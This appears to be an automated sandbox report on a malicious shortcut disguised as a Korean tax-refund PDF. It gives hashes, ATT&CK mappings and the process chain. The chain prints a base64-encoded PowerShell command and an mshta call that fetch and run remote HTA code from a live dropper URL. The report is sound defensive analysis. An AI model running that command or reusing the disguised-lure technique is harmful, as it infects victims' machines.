d420b502cf241cc611aa93168b5ea1531876b586e63d835795e4e62717875269

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/07/2026, 12:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
국세 환급금 지급 안내.pdf.lnk
Size 2KB
Sample260722-pnlb2avcrf
SHA256 d420b502cf241cc611aa93168b5ea1531876b586e63d835795e4e62717875269
MD5 8bb1b176d4f4cd960326778370db20b9
SHA1 153ed0d54fae5aa2324dee77425aa3adc1bad49b
SHA512 9868193401baa9f7a89795074230748efc0e97321b1d3a9b8bcd56aa4bb9f7fb53d61490d9dbdb487ab054b19b1225beedd5869dcfd768b5e647dbaf5fbb0c42
TLSH
T1F651FF112EF502BEF37397B257FB76196536F8789B0309AC41D212401E51A14E87AFAB
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://link24.kr/Awhl9zA

Signatures

Badlisted process makes network request 13 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	2092	mshta.exe
5	2092	mshta.exe
6	2092	mshta.exe
7	2092	mshta.exe
10	2092	mshta.exe
13	2092	mshta.exe
14	2092	mshta.exe
15	2092	mshta.exe
16	2092	mshta.exe
17	2092	mshta.exe
18	2092	mshta.exe
19	2092	mshta.exe
20	2092	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1324	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5836	powershell.exe
5836	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5836	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1324 wrote to memory of 5836	1324	cmd.exe	89
PID 5836 wrote to memory of 2092	5836	powershell.exe	90

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\국세 환급금 지급 안내.pdf.lnk"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAG0AcwBgAGgAdABhACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIgBoAHQAdABwAHMAOgAvAC8AbABpAG4AawAyADQALgBrAHIALwBBAHcAaABsADkAegBBACIA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5836
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/Awhl9zA
    3⤵
    - Badlisted process makes network request
    PID:2092

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/5836-2-0x00007FFDBCE5F000-0x00007FFDBCE60000-memory.dmp

Download

memory/5836-3-0x00007FFDBCCD0000-0x00007FFDBD674000-memory.dmp

Download

memory/5836-6-0x000001D4FDF30000-0x000001D4FDF52000-memory.dmp

Download

memory/5836-7-0x00007FFDBCCD0000-0x00007FFDBD674000-memory.dmp

Download

memory/5836-8-0x00007FFDBCCD0000-0x00007FFDBD674000-memory.dmp

Download

memory/5836-9-0x00007FFDBCCD0000-0x00007FFDBD674000-memory.dmp

Download

memory/5836-10-0x00007FFDBCCD0000-0x00007FFDBD674000-memory.dmp

Download

memory/5836-12-0x00007FFDBCCD0000-0x00007FFDBD674000-memory.dmp

Download

memory/5836-13-0x00007FFDBCCD0000-0x00007FFDBD674000-memory.dmp

Download